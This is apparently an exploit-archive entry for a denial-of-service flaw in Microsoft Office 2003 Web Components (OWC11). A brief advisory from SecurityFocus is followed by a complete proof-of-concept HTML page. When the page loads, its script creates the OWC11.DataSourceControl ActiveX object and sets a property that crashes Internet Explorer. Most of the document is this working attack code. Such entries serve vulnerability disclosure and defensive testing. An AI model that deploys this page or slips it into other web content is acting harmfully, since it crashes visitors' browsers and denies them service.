source: https://www.securityfocus.com/bid/26405/info Microsoft Office Web Component is prone to a denial-of-service vulnerability because of a memory access violation. Attackers can exploit this issue to crash Internet Explorer and deny service to legitimate users. This issue affects OWC11 for Microsoft Office 2003. <!-- written by e.b. --> <html> <head> <script language="JavaScript" DEFER> function Check() { var obj = new ActiveXObject("OWC11.DataSourceControl"); obj.XMLDataTarget = "A"; } </script> </head> <body onload="JavaScript: return Check();" /> </html>